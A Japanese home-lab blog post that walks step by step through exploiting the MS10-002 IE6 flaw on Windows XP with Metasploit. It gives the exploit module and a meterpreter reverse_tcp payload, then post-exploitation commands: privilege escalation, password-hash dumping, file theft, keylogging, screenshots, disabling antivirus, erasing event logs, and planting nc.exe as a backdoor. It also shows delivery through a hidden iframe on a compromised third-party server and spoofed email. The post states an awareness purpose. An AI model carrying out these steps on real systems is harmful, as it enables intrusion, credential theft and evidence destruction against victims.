今回は、自宅ラボで「MS10-002」脆弱性を用いたWindowsXP + IE6へのハッキングを試します。
毎度のことですが、本記事はセキュリティ意識の向上を目的としています。悪用しないでください。
【前提】
1. ネットワークのトポロジは、下図のとおり。
2. ターゲットマシンでは、WindowsXP SP3+IE6を使用していて、パーソナルファイアウォールは有効。また、ブロードバンドルータ越しにインターネットに接続している。
3. 別記事「サーバ2のアクセス」(http://www.ddhost.jp/lab/2013/05/post_365.html)等により、アタッカはあるwebサーバに対する完全なアクセス権を保持。
4. アタッカは、別記事「メール送信元偽装のメール送信」(http://www.ddhost.jp/lab/2013/05/from_header.html)により、ターゲットの知人に成りすましてメールを送信し、特定のURLに誘導可能。
【トポロジ】
【実践】
アタッカのBackTrackに対して、別記事http://www.ddhost.jp/lab/2013/06/distccmetasploitable.html を参考に、MetasploitFramework最新版をインストールします。
次に、別記事「サーバ2へのアクセス」(http://www.ddhost.jp/lab/2013/05/post_365.html)などを参考に、第三者webサーバへの完全なアクセス権を入手します。
今回はWindows XP Service Pack2適用マシンをターゲットとしましたが、参考文献によるとServicePack3でも再現できるようです。
Windowsファイアウォールは有効に設定しています。
msfをインストールした場所(例では/opt/metasploit4) 配下のapp/msfconsole を実行し、msfconsoleに入ります。
上の例では、「/opt/metasploit4/app/msfconsole」と実行。
msfコンソールに入ったら、今回使用するms10_002のエクスプロイトをuseします。
「use exploit/windows/browser/ms10_002_aurora」と実行します。
ペイロードを指定します。今回はreverce_tcpを指定するため、以下を入力します。
「set PAYLOAD windows/meterpreter/reverse_tcp」
自ホスト(BackTrack)のIPアドレスを設定します。
自ホストのIPアドレスは、別ターミナルで「ifconfig」コマンドで確認してください。
「set LHOST (IPアドレス)」で設定。
上の例では、自ホストのIPアドレスは 172.16.0.2 だったため、「set LHOST 172.16.0.2」としています。
「exploit」コマンドを入力します。
これで、exploitが待ち受け状態となりました。
アタッカ(BackTrack)は、上図に出力されたURL(上の例では http://(IPアドレス):8080/CuAz49Tx )にターゲットマシンがIE6でアクセスしてくるのを待っている状態です。
このURLへターゲットPCをアクセスさせる必要があります。
当然、ここでターゲットPCが「http://172.16.0.2:8080/CuAz49Tx」にアクセスすればいいのですが、いきなりターゲットがこのURLにアクセスしてくるとは考えにくいので、以降でターゲットをこのURLに誘導する方法を検討します。
先ほどのmsfコンソールとは別のターミナルを開き、別記事「サーバ2のアクセス」(http://www.ddhost.jp/lab/2013/05/post_365.html)等により、第三者webサーバにアクセスします。
そこで、ウェブサイトを書き換え、ウェブサイトを閲覧したPCが先ほどのURLにアクセスするようにします。
「vim (htmlファイル名)」で、対象のhtmlファイルを書き換えます。
上の図では、/var/www/yuudou.html を編集しています。
上の図では、DIVタグの座標にマイナスを入れることで、通常は見えない位置にiframeを挿入し、その中でBackTrackの待ち受けURLを参照させています。
この方法に限らず、クロスサイトスクリプティングなどでも同様にBackTrackの待ち受けURLにターゲットをご招待できると思います。
さらに、別記事「メール送信元偽装のメール送信」(http://www.ddhost.jp/lab/2013/05/from_header.html)により、ターゲットの知人に成りすましてメールを送信し、第三者サーバのURLにターゲットPCを誘導します。
ターゲットPCは、知人から(第三者サーバの)URLを受信したと考え、そのURLにIE6でアクセスします。
ターゲットPCがアクセスしてくると、十数秒後、上図のように"Meterpreter session 1 opened"というメッセージが表示されます。
これは、session 1でエクスプロイトが成功したことを意味します。
「sessions -i 1 」で、セッション1に接続します。
「sysinfo」と入力すると、システム情報が得られます。
ターゲットはWinXP 32ビット版であることがわかります。
「ipconfig」コマンドでは、ターゲットのIPアドレスがわかります。
「 ps 」コマンドで、ターゲットで稼働中のプロセス一覧を確認します。
現在、exploitはInternetExplorerのプロセスを乗っ取って動いています。InternetExplorerのプロセスを終了されたら遠隔操作できなくなるので、別のプロセスに乗り移ります。
先ほどプロセス一覧で確認した中に、プロセス番号1340で"explorer.exe"(Windowsファイルブラウザ)が稼働していたので、「 merge 1340 」で乗り移ります。
これで、基本的にはWindowsXPが終了されるまでプロセスに残れます。
「getuid 」で現在exploitが動いているユーザ名を確認できます。
また、「 getprivs 」により、現在exploitが動いているユーザの権限一覧を表示できます。
「 getsystem 」コマンドにより、システム管理者権限を取得します。
これにより、管理者権限(Linuxでいうroot権限)を取得したことになります。
「 hashdump 」コマンドにより、ターゲットのユーザとそのパスワードのハッシュを求めます。
このハッシュから、専用ツールによりパスワードを解析できます。(今回は割愛します。)
linuxと同様に、cdコマンドやlsコマンドを実行できます。
ターゲット上のファイルを確認できます。
ターゲットから「download (ファイル名)」で、ファイルをダウンロードします。
ダウンロードされたファイルは、msfconsole起動時にカレントディレクトリだった場所に保存されます。
逆に、「upload (ファイル名)」でファイルをターゲットPCに送ることができます。
今回は、EICAR(テストウィルス)を送り込みます。
「screenshot」コマンドで、ターゲットの画面をスクリーンショットして入手できます。
入手したスクリーンショットはjpgで保存されます。
(なぜか色が変ですが...)
同様に、Windows用Netcat (nc.exe)をアップロードします。
nc.exeはグーグル検索などで探して入手します。(http://joncraton.org/blog/46/netcat-for-windows)
なお、nc.exe実行時に、ターゲットPCのパーソナルファイアウォールが反応します。
ここで「ブロック」されると、バックドアとして機能しなくなります。
「clearev」でイベントログを削除します。一種の証拠隠滅です。
「run checkvm」で、ターゲットが仮想マシンか否かを確認します。
上の例では、ターゲットは物理PCなのでphysical hostと表示されています。
一方、もしターゲットがvmware上の仮想マシンなら、vmwareと表示されます。
ターゲットがハニーポットか否かを判断する一つの材料になるのでしょうか...
「run killav」で、ターゲットのアンチウイルスソフトを停止させます。
「run keylogrecorder」で、ターゲットのキー入力をロギングします。
間が悪くターゲットPCで何かのパスワード入力をしていたら、全部ロギングされます。
「shell」コマンドで、ターゲットのコマンドプロンプトにアクセスできます。
後はターゲット上のコマンドプロンプトのコマンドが使用できます。
【参考URL】
http://joncraton.org/blog/46/netcat-for-windows
www.byakuya-shobo.co.jp/hj/moh2/pdf/moh2_p146_p149.pdf